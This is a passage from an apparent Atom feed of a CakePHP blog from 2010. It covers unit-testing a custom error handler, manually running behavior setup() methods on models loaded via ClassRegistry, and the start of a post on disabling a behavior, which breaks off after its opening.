&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; TestErrorHandler&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; AppError&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Copy/paste of ErrorHandler construct method, but force a new instance of CakeErrorController as $this-&gt;controller each time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // CakeErrorController extends AppController, so we can overwrite its methods&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; __construct&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$method&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$messages&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    App::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Core&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Sanitize&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Forcing CakeErrorController&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;controller&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; CakeErrorController&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;escape&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $messages&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Sanitize::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;clean&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$messages&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$options&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;isset&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$messages&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      $messages&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$messages&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;method_exists&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;controller&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;apperror&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;controller&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;appError&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$method&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$messages&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;in_array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strtolower&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$method&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array_map&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;strtolower&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;get_class_methods&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)))) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      $method&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;error&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$method&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;error&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;debug&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        $parentClass&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; get_parent_class&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strtolower&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$parentClass&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;errorhandler&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;          $method&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;error404&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        $parentMethods&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array_map&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;strtolower&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;get_class_methods&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$parentClass&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;in_array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strtolower&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$method&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$parentMethods&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;          $method&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;error404&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;isset&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$code&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $code&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 500&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;          $method&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;error500&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;dispatchMethod&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$method&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$messages&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;_stop&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Preventing the error from stopping all the request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; _stop&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Writing your tests&lt;/h2&gt;
&lt;p&gt;Ok, your almost done. You just have now to write your tests. They have to follow
a special syntax to correctly work.&lt;/p&gt;
&lt;p&gt;First, you&#39;ll have to wrap your &lt;code&gt;ErrorHandler&lt;/code&gt; creation between &lt;code&gt;ob_start()&lt;/code&gt; and
&lt;code&gt;$output= ob_get_content()&lt;/code&gt;, otherwise you&#39;ll end up with error popping right
into your test case because the &lt;code&gt;ErrorHandler&lt;/code&gt; force the controller to render
the view.&lt;/p&gt;
&lt;p&gt;You&#39;ll be able to access interesting properties through
&lt;code&gt;$errorHandler-&amp;gt;controller-&amp;gt;renderedAction&lt;/code&gt; and
&lt;code&gt;$errorHandler-&amp;gt;controller-&amp;gt;header&lt;/code&gt;. You can also directly test the view output
through &lt;code&gt;$output&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ok, so here&#39;s one of my tests:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// DEV : Error will use the error layout&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; testCallingErrorInDevWillUseErrorLayout&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  ob_start&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $errorHandler&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; TestErrorHandler&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;missingController&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;errorParams&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $result&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; ob_get_clean&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;assertEqual&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$errorHandler&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;controller&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;layout&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;error&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It took me some hours to glue all this pieces together, I hope it may be useful
to others, too. Writing the &lt;code&gt;AppError&lt;/code&gt; itself was way easier, but as I&#39;m now
test infected I don&#39;t imagine writing code without the corresponding tests.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Correctly instanciating models in components</title>
    <link href="https://blog.pixelastic.com/2010/08/06/instanciating-models-in-components/"/>
    <updated>2010-08-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/06/instanciating-models-in-components</id>
    <content type="html">&lt;p&gt;I sometime need access to a specific model in a component. Say a &lt;code&gt;User&lt;/code&gt; model
for checking user rights in an &lt;code&gt;Auth&lt;/code&gt; component. In that cases, I just create an
instance of the model by calling a
&lt;code&gt;$myModel = &amp;amp;ClassRegistry::init($myModelName)&lt;/code&gt;. It works perfectly.&lt;/p&gt;
&lt;p&gt;Today I found that it wasn&#39;t working exactly as I wanted. In fact, behaviors
used by models loaded that way are not completely set up. All their callback
methods (&lt;code&gt;beforeFind&lt;/code&gt;, &lt;code&gt;afterFind&lt;/code&gt;, &lt;code&gt;beforeSave&lt;/code&gt;, &lt;code&gt;afterSave&lt;/code&gt;) works as
expected, but the main &lt;code&gt;setup&lt;/code&gt; method is never called.&lt;/p&gt;
&lt;p&gt;This caused some havoc in my app because some &lt;strong&gt;reaaaaally&lt;/strong&gt; important stuff was
defined in the &lt;code&gt;setup&lt;/code&gt; method&lt;/p&gt;
&lt;h2&gt;There I fixed it&lt;/h2&gt;
&lt;p&gt;I just manually fired all the &lt;code&gt;setup&lt;/code&gt; methods by calling a simple:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;foreach&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$myModel&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Behaviors&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;_attached&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $behaviorName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $myModel&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Behaviors&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;{$behaviorName}&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$myModel&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once again, small fix, but does the trick. I did not file a bug report because
I&#39;m not really sure this is bug or if that is so by design.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Disabling a Behavior from inside its setup() method</title>
    <link href="https://blog.pixelastic.com/2010/08/06/disabling-a-behavior-from-inside-its-setup-method/"/>
    <updated>2010-08-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/06/disabling-a-behavior-from-inside-its-setup-method</id>
    <content type="html">&lt;p&gt;Sometime you write a nice Behavior, that will automate a lot of stuff that
almost all your models will need. But, unfortunatly, a couple of models won&#39;t
need it. Actually, attaching it to them will even break your code.&lt;/p&gt;
&lt;p&gt;So what do you do? Do you resort to manually fill the &lt;code&gt;$actsAs&lt;/code&gt; variable of each
model, except for the two lonely loosers, or defining the &lt;code&gt;$actsAs&lt;/code&gt; of your main
&lt;code&gt;AppModel&lt;/code&gt; really seems more appaling?&lt;/p&gt;
&lt;h2&gt;Lazyness to the rescue&lt;/h2&gt;
